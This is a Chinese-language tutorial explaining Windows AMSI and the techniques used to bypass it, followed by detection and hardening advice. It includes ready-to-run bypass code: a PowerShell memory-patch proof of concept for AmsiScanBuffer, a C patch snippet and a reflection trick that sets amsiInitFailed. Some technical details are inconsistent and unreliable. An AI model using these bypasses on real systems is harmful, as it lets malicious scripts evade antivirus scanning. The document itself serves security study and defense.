深入理解与利用 Windows AMSI 机制的教学文档
1. AMSI 简介
AMSI(Antimalware Scan Interface)是 Microsoft 在 Windows 10 中引入的一项关键安全机制,旨在为反恶意软件产品提供一个标准化的接口,用于对抗混淆和加密的恶意脚本。其核心目标是将反病毒保护扩展到用户模式和脚本运行时,弥补传统杀毒软件在检测“文件落地”前恶意代码方面的不足。
2. AMSI 的设计目标与技术原理
2.1 设计初衷
恶意软件开发者通常采用字符串拆分、编码、加密和混淆等手段绕过静态检测。AMSI 的推出是为了在动态环境中,于脚本被解释执行之前,将待执行的脚本内容提交给杀毒软件进行实时扫描,从而实现对混淆脚本的有效拦截。
2.2 工作原理
-
集成模式:AMSI 通过一组 COM 接口集成到 Windows 系统中,允许应用程序(宿主)将任意数据发送到杀毒软件(AMSI Provider)进行扫描。
-
扫描流程:
- 支持 AMSI 的宿主(如 PowerShell、JScript、VBScript、MSI 安装程序等)在解释执行脚本或代码片段前,调用
AmsiScanBuffer()或AmsiScanString()函数。 - 将待执行的代码内容(可能是明文的、去混淆后的)作为缓冲区传递给 AMSI。
- AMSI 将缓冲区内容转发给已注册的反恶意软件提供程序(如 Windows Defender)。
- 反恶意软件引擎对内容进行分析,并返回一个风险判定结果(例如,
AMSI_RESULT_CLEAN,AMSI_RESULT_DETECTED)。 - 宿主根据返回结果决定是否阻止代码执行。
- 支持 AMSI 的宿主(如 PowerShell、JScript、VBScript、MSI 安装程序等)在解释执行脚本或代码片段前,调用
-
关键特性:
- 上下文感知:AMSI 扫描可以关联调用堆栈、来源等信息,提供更准确的判断。
- 内容不可知:理论上可以扫描任何数据,不限于脚本,包括 PowerShell 命令、VBScript、JScript、Office VBA 宏等。
- 标准化接口:为不同的反恶意软件厂商提供了统一的集成方式。
3. AMSI 的工作流程与参与组件
[恶意脚本] -> [支持AMSI的宿主 (如PowerShell)] -> [AMSI.DLL] -> [反恶意软件提供程序 (如MsMpEng.exe)] -> [扫描结果] -> [宿主执行/拦截]
关键组件:
- AMSI.DLL: 核心动态链接库,实现了
IAntimalware接口,作为宿主与杀软之间的桥梁。 - 反恶意软件提供程序 (AMSI Provider): 例如 Windows Defender 的
MsMpEng.exe,它实现了IAntimalwareProvider接口,执行实际的扫描逻辑。 - 支持AMSI的宿主:
- PowerShell 5.0+
- Windows Script Host (cscript.exe, wscript.exe) 对于 JScript/VBScript
- VBA (Office 2016+)
- .NET CLR (特定场景)
- UWP 应用
4. AMSI 的绕过技术详析
文档中重点介绍了多种经典的 AMSI 绕过技术,其核心思路是攻击 AMSI 初始化和扫描链条中的薄弱环节。
4.1 基于内存补丁的绕过 (Memory Patching)
这是最常见且多变的绕过方式。原理是:amsi.dll 被加载到宿主进程空间后,其内部函数(特别是 AmsiScanBuffer)的代码位于可写内存页中。攻击者可以直接修改这些函数在内存中的指令,使其失效或始终返回“安全”结果。
经典方法示例:
-
强制返回
AMSI_RESULT_CLEAN:- 在
AmsiScanBuffer函数开头,插入mov eax, 0x80070057(或mov rax, 0x80070057) 和ret指令。0x80070057是E_INVALIDARG的 HRESULT 值,但常被某些实现误判为“干净”并允许执行。 - 更直接的方法是修改函数逻辑,使其始终返回
AMSI_RESULT_CLEAN(值为 0)。
- 在
-
修改
AmsiScanBuffer开头的字节码:- 原始的开头指令可能是
mov eax, 0x80070057或类似的检查指令。 - 攻击者将其修改为
mov eax, 0和ret,使扫描过程立即结束并返回“干净”。
- 原始的开头指令可能是
技术实现关键点:
- 需要首先获取
amsi.dll在内存中的基地址。可以通过调用GetModuleHandle("amsi.dll")或GetProcAddress(GetModuleHandle("kernel32"), "GetProcAddress")等 API 进行链式解析获取。 - 然后通过
GetProcAddress获取AmsiScanBuffer等目标函数的内存地址。 - 使用
VirtualProtect或NtProtectVirtualMemory等 API 修改目标内存页的保护属性,使其可写 (PAGE_EXECUTE_READWRITE)。 - 直接写入修改后的机器码 (Opcode)。
- 恢复内存页的原始保护属性。
代码片段示例 (概念性):
// 获取 AmsiScanBuffer 地址
hAmsi = LoadLibrary("amsi.dll");
pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
// 修改内存保护
VirtualProtect(pAmsiScanBuffer, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 写入绕过指令 (例如,x64: 立即返回 AMSI_RESULT_CLEAN)
unsigned char patch[] = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
// 恢复保护
VirtualProtect(pAmsiScanBuffer, patchSize, oldProtect, &oldProtect);
4.2 修改 AMSI 上下文状态
AMSI 内部有一个全局或会话级别的初始化状态标志(例如 amsiInited)。如果在初始化完成之前,或者在状态被标记为“禁用”之后,扫描请求会被跳过。
- 某些公开的绕过方法会尝试定位并修改这个标志位的内存值,例如将其从 1 (已初始化) 改为 0 (未初始化)。
- 这种方法需要对
amsi.dll内部数据结构进行逆向分析,稳定性可能随版本更新而改变。
4.3 利用 .NET 反射强制触发失败
在 .NET 环境中,可以通过反射强制调用 System.Management.Automation.AmsiUtils 类的内部方法。一种公开的技术是:
// 通过反射获取 AmsiUtils 类型
var amsiUtils = typeof(System.Management.Automation.PowerShell).Assembly.GetType("System.Management.Automation.Am" + "siUtils");
// 获取标志字段
var amsiInitFailed = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
// 将其值设置为 true
amsiInitFailed.SetValue(null, true);
此操作会使得后续的 AMSI 扫描请求因“初始化失败”而被跳过。Microsoft 已通过将该字段标记为“常量”并在后续 .NET 版本中移除相关类等方式来缓解此绕过。
4.4 进程注入与宿主劫持
如果目标宿主进程本身不支持 AMSI 或未正确初始化 AMSI,那么在其中执行的脚本就不会被扫描。
- 攻击者可以将 Payload 注入到不支持 AMSI 的进程(如某些旧版或自定义应用程序)中执行。
- 或者,通过钩子(Hooking)或 DLL 劫持技术,劫持宿主对
amsi.dll的调用,在调用链的更低层次进行拦截和篡改。
4.5 字符串混淆与逻辑拆分
即使不破坏 AMSI 功能,攻击者也可以设计 Payload,使其在传递给 AmsiScanBuffer 的瞬间看起来是“无害”的。
- 即时解密: 在内存中保持加密形态,仅在执行前的一瞬间解密。需要确保解密例程本身不被 AMSI 检测到,且解密后的代码驻留时间极短。
- 环境键控: Payload 只有在特定目标环境(具有特定文件、注册表键、用户名等)下才会解密出真正的恶意代码,在扫描环境中则呈现为乱码或无害数据。
- 逻辑分片: 将恶意代码拆分成多个无危害的小片段,通过多次、多阶段加载,在内存中重组。每个单独的片段都能通过 AMSI 扫描。
5. AMSI 的检测与对抗
反恶意软件厂商和安全产品也在不断提升对 AMSI 绕过的检测能力:
-
行为监控:
- 监控对
amsi.dll模块内存的写操作,特别是对其导出函数地址的修改。 - 检测对
VirtualProtect等 API 的调用,特别是将amsi.dll代码页改为可写属性 (PAGE_EXECUTE_READWRITE) 的行为。 - 监控进程内是否存在试图获取
AmsiScanBuffer等函数地址的代码序列。
- 监控对
-
签名与启发式检测:
- 为已知的 AMSI 绕过代码片段(例如特定的内存修补字节序列、反射调用模式)建立签名。
- 检测 PowerShell 等宿主进程中出现的、与已知绕过技术相关的字符串或代码模式。
-
完整性保护:
- 一些高级安全产品会锁定关键系统 DLL(如
amsi.dll)的内存页,防止修改。 - 通过内核回调(Kernel Callbacks)监控用户态的内存保护属性变更事件。
- 一些高级安全产品会锁定关键系统 DLL(如
-
AMSI 提供程序的增强:
- 杀毒软件的 AMSI 提供程序可以模拟执行脚本片段,进行更深入的动态分析。
- 结合来自 ETW (Event Tracing for Windows) 的丰富上下文信息进行关联分析。
6. 针对红队与安全研究的实践指南
注意:以下知识仅用于安全研究、渗透测试授权评估和防御能力建设。
6.1 测试 AMSI 是否生效
# 一个简单的测试字符串,已知会被 Windows Defender 通过 AMSI 检测
$testString = 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-99ac4e6e3c4d'
# 尝试通过 Invoke-Expression 执行,如果 AMSI 工作,应该会被阻止
Invoke-Expression $testString
6.2 实现一个基础的 AMSI 绕过 (POC)
以下是一个在 PowerShell 中通过内存修补实现的经典绕过示例。此代码可能已失效,仅用于原理演示。
function Bypass-AMSI {
# 通过 Win32 API 调用修改内存
$code = @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$win32 = Add-Type -MemberDefinition $code -Name "Win32" -Namespace "Win32Functions" -PassThru
# 获取 AmsiScanBuffer 地址
$amsiDll = [Win32Functions.Win32]::LoadLibrary("amsi.dll")
$scanBufferAddr = [Win32Functions.Win32]::GetProcAddress($amsiDll, "AmsiScanBuffer")
# 修改内存保护为可读可写可执行
$oldProtect = 0
$vpResult = [Win32Functions.Win32]::VirtualProtect($scanBufferAddr, [uint32]5, 0x40, [ref]$oldProtect)
if ($vpResult) {
# 修补指令:x86: B8 57 00 07 80 C3 (mov eax,0x80070057; ret)
# 或更简单的: 31 C0 C3 (xor eax, eax; ret) 强制返回 0 (CLEAN)
$patch = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) # 返回 E_INVALIDARG
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBufferAddr, $patch.Length)
# 恢复内存保护 (可选)
[Win32Functions.Win32]::VirtualProtect($scanBufferAddr, [uint32]5, $oldProtect, [ref]$oldProtect)
Write-Output "[+] AMSI bypass attempted via memory patch."
} else {
Write-Output "[-] Failed to change memory protection."
}
}
# 运行函数
Bypass-AMSI
6.3 现代规避思路
由于直接的字节码修补已被广泛监控,现代规避更倾向于:
- 无文件攻击: 利用合法的系统管理工具(如 WMI、PsExec、MSBuild、InstallUtil、Regsvr32 等)来执行代码,这些工具可能不触发或较少触发 AMSI。
- 动态代码生成: 使用 .NET 反射、动态编译 (
Add-Type,System.CodeDom) 等技术,在内存中生成全新的、无静态特征的代码。 - 进程镂空 (Process Hollowing) 或傀儡进程: 在“干净”的进程上下文中执行代码。
- 利用硬件断点或异常处理: 更高级的技术,通过调试机制或结构化异常处理 (SEH) 来改变程序执行流,间接影响 AMSI 的判断逻辑。
7. 防御建议
- 保持系统和安全软件更新: Microsoft 和安全厂商不断修复 AMSI 绕过的漏洞并更新检测逻辑。
- 启用并强化防篡改保护: 在 Windows Defender 中启用防篡改功能,防止安全设置被恶意修改。
- 部署高级威胁防护 (ATP) 解决方案: 结合终端检测与响应 (EDR) 产品,它们能监控进程行为、内存操作和 API 调用序列,更有效地发现绕过尝试。
- 应用最小权限原则: 限制用户和管理员的不必要权限,减少攻击面。
- 启用 PowerShell 的约束语言模式 (Constrained Language Mode) 和 脚本块日志记录 (Script Block Logging): 这能限制 PowerShell 的功能并记录执行的脚本内容,便于审计和检测。
- 使用应用程序控制策略: 例如 Windows Defender 应用程序控制 (WDAC) 或 AppLocker,只允许授权的脚本和程序运行。
8. 总结
AMSI 是 Windows 安全生态中对抗脚本威胁的重要防线,它通过标准化接口实现了运行时内容扫描。然而,作为一种安全机制,它也成为了攻击者研究和绕过的目标。攻防的焦点集中在内存完整性、API 调用监控和行为分析上。有效的防御需要结合行为监控、启发式检测、系统加固和深度日志分析,建立纵深防御体系,而非仅仅依赖单一技术。
本文档内容是基于对公开技术文章(链接)的解析和整理,其中涉及的绕过技术细节仅供学习与研究 Windows 安全机制之用,请在法律允许和获得明确授权的范围内进行相关测试。